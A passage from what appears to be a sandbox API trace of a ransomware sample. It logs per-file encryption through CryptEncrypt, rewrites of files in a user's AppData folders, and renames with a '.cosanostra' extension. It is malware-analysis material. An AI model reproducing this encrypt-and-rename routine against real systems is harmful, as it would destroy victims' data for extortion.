(in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef44*=0x30, lpOverlapped=0x0) returned 1 [0100.500] CloseHandle (hObject=0x160) returned 1 [0100.500] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra") returned 198 [0100.500] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra")) returned 1 [0100.501] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef80 | out: pbBuffer=0x2abef80) returned 1 [0100.501] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef78*=0x30) returned 1 [0100.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.501] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef80 | out: pbBuffer=0x2abef80) returned 1 [0100.501] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef78*=0x30) returned 1 [0100.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.503] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef78 | out: pbBuffer=0x2abef78) returned 1 [0100.503] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef70*=0x30) returned 1 [0100.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef78 | out: pbBuffer=0x2abef78) returned 1 [0100.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef70*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef70*=0x30) returned 1 [0100.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef70 | out: pbBuffer=0x2abef70) returned 1 [0100.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef68*=0x30) returned 1 [0100.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef70 | out: pbBuffer=0x2abef70) returned 1 [0100.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef68*=0x30) returned 1 [0100.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.506] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef68 | out: pbBuffer=0x2abef68) returned 1 [0100.506] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef60*=0x30) returned 1 [0100.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef60 | out: pbBuffer=0x2abef60) returned 1 [0100.510] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef58*=0x30) returned 1 [0100.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\credentials\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef58 | out: pbBuffer=0x2abef58) returned 1 [0100.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef50*=0x30) returned 1 [0100.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef58 | out: pbBuffer=0x2abef58) returned 1 [0100.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef50*=0x30) returned 1 [0100.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef38 | out: pbBuffer=0x2abef38) returned 1 [0100.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef30*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef30*=0x30) returned 1 [0100.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.527] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 125 [0100.527] StrStrW (lpFirst="settings.sol", lpSrch=".txt") returned 0x0 [0100.528] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.528] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d6, lpNumberOfBytesWritten=0x2abeef4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeef4*=0x1d6, lpOverlapped=0x0) returned 1 [0100.528] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.528] WriteFile (in: hFile=0x160, lpBuffer=0x2abef34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeef4, lpOverlapped=0x0 | out: lpBuffer=0x2abef34*, lpNumberOfBytesWritten=0x2abeef4*=0x4, lpOverlapped=0x0) returned 1 [0100.528] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeef4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeef4*=0x30, lpOverlapped=0x0) returned 1 [0100.528] CloseHandle (hObject=0x160) returned 1 [0100.528] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.cosanostra") returned 136 [0100.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.cosanostra")) returned 1 [0100.533] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef30 | out: pbBuffer=0x2abef30) returned 1 [0100.533] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef28*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef28*=0x30) returned 1 [0100.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LNHyvzfsWxv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lnhyvzfswxv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.534] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LNHyvzfsWxv.m4a") returned 65 [0100.534] StrStrW (lpFirst="LNHyvzfsWxv.m4a", lpSrch=".txt") returned 0x0 [0100.535] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.535] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeeec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeeec*=0x2800, lpOverlapped=0x0) returned 1 [0100.535] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.535] WriteFile (in: hFile=0x160, lpBuffer=0x2abef2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeeec, lpOverlapped=0x0 | out: lpBuffer=0x2abef2c*, lpNumberOfBytesWritten=0x2abeeec*=0x4, lpOverlapped=0x0) returned 1 [0100.535] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeeec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeeec*=0x30, lpOverlapped=0x0) returned 1 [0100.535] CloseHandle (hObject=0x160) returned 1 [0100.536] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LNHyvzfsWxv.m4a.cosanostra") returned 76 [0100.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LNHyvzfsWxv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lnhyvzfswxv.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LNHyvzfsWxv.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lnhyvzfswxv.m4a.cosanostra")) returned 1 [0100.537] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef28 | out: pbBuffer=0x2abef28) returned 1 [0100.537] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef20*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef20*=0x30) returned 1 [0100.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lHEY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lhey.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.538] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lHEY.avi") returned 58 [0100.538] StrStrW (lpFirst="lHEY.avi", lpSrch=".txt") returned 0x0 [0100.539] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.539] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeee4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeee4*=0x2800, lpOverlapped=0x0) returned 1 [0100.539] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.539] WriteFile (in: hFile=0x160, lpBuffer=0x2abef24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeee4, lpOverlapped=0x0 | out: lpBuffer=0x2abef24*, lpNumberOfBytesWritten=0x2abeee4*=0x4, lpOverlapped=0x0) returned 1 [0100.539] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeee4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeee4*=0x30, lpOverlapped=0x0) returned 1 [0100.539] CloseHandle (hObject=0x160) returned 1 [0100.540] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lHEY.avi.cosanostra") returned 69 [0100.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lHEY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lhey.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lHEY.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\lhey.avi.cosanostra")) returned 1 [0100.721] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef20 | out: pbBuffer=0x2abef20) returned 1 [0100.722] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef18*=0x30) returned 1 [0100.722] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.894] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 131 [0100.894] StrStrW (lpFirst="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpSrch=".txt") returned 0x0 [0100.895] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffc5b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.895] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x3a5, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeedc*=0x3a5, lpOverlapped=0x0) returned 1 [0100.897] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.897] WriteFile (in: hFile=0x15c, lpBuffer=0x2abef1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x2abef1c*, lpNumberOfBytesWritten=0x2abeedc*=0x4, lpOverlapped=0x0) returned 1 [0100.898] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeedc*=0x30, lpOverlapped=0x0) returned 1 [0100.898] CloseHandle (hObject=0x15c) returned 1 [0100.898] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl.cosanostra") returned 142 [0100.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl.cosanostra")) returned 1 [0100.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef20 | out: pbBuffer=0x2abef20) returned 1 [0100.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef18*=0x30) returned 1 [0100.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.903] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned 98 [0100.903] StrStrW (lpFirst="addressbook.acrodata", lpSrch=".txt") returned 0x0 [0100.937] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffeae9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.937] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1517, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abeedc*=0x1517, lpOverlapped=0x0) returned 1 [0100.937] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.937] WriteFile (in: hFile=0x15c, lpBuffer=0x2abef1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x2abef1c*, lpNumberOfBytesWritten=0x2abeedc*=0x4, lpOverlapped=0x0) returned 1 [0100.937] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeedc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeedc*=0x30, lpOverlapped=0x0) returned 1 [0100.938] CloseHandle (hObject=0x15c) returned 1 [0100.938] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata.cosanostra") returned 109 [0100.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata.cosanostra")) returned 1 [0100.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef18 | out: pbBuffer=0x2abef18) returned 1 [0100.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef10*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef10*=0x30) returned 1 [0100.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.941] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned 97 [0100.941] StrStrW (lpFirst="glob.settings.js", lpSrch=".txt") returned 0x0 [0100.942] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffff6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 